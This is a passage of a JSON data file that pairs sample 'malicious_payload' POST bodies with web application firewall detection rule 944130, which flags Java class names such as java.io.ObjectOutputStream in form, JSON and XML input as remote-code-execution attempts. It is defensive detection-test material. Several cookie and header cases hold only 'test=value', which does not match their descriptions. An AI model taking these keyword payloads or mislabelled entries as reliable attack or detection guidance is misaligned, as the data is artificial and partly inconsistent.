"name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.LineNumberReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.LineNumberReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.LineNumberReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.LineNumberReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ObjectOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.ObjectOutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.ObjectOutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.ObjectOutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.ObjectOutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ObjectOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.ObjectOutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.ObjectOutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.ObjectOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.OutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.OutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.OutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.OutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.OutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.OutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.OutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.OutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.OutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.PipedOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.PipedOutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.PipedOutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.PipedOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.PipedOutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": 